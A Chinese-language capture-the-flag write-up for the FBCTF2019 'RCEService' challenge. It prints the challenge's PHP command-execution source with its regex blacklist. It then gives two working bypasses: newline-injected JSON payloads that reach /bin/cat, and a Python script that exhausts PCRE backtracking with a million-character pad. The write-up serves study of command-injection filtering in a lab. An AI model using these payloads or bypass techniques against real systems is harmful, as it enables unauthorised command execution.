0%

[FBCTF2019]RCEService

前言:

 这题看了wp,最大的疑惑就是源码怎么看到的?

读题

  1. 打开题目提示,输入JSON类型来执行命令。【JSON常识】
  2. JSON 需要给一个键值对,执行命令的话我们猜测是cmd键于是输入{"cmd":"ls"} 得到了回显index.php 尝试使用{"cmd":"cat index.php"} , 返回: Hacking attempt detected 估计过滤了cat 。
  3. 网上找到了源码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php

    putenv('PATH=/home/rceservice/jail');

    if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
    } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
    system($cmd);
    } else {
    echo 'Invalid input';
    }
    echo '<br/><br/>';
    }
    }

    ?>
  4. 代码中使用putenv('PATH=/home/rceservice/jail'); 配置系统环境变量,而我们用不了 cat 也有可能是在这个环境变量下没有这个二进制文件。我们可以直接使用/bin/cat 来调用cat命令。
  5. Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

多行绕过preg_match 来解题

因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过

  1. 我们使用payload {%0A"cmd":"ls /home/rceservice/jail"%0A} (%A是换行)得到回显 ls 一个文件,这也再一次说明当前环境下有 ls命令 没有其它命令。
  2. 使用payload {%0A"cmd":"ls /home/rceservice"%0A} 得到回显,flag jail 。也就是说 flag 在flag里。
  3. 使用{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A} 得到flag。

利用PCRE回溯来绕过 preg_match

 先了解一下什么是PCRE回溯,【看这里】

  1. 由上面的方法知道了,想要得到flag要访问/bin/cat /home/rceservice/flag
  2. 根据PCRE回溯的方法解题,需要用POST发送请求,因为GET会因为头太大报错。
    1
    414 Request-URI Too Large
  3. 所以我们使用的脚本如下:
    1
    2
    3
    4
    5
    6
    import requests
    ### 不知道为啥这里用 || 不可以执行我们的命令
    payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' ##超过一百万,这里写一千万不会出结果。

    res = requests.post("http://b27f0703-fe79-470f-b1fb-f7cfbd8c966b.node3.buuoj.cn/", data={"cmd":payload})
    print(res.text)
    即可得到flag

-------------本文结束感谢您的阅读-------------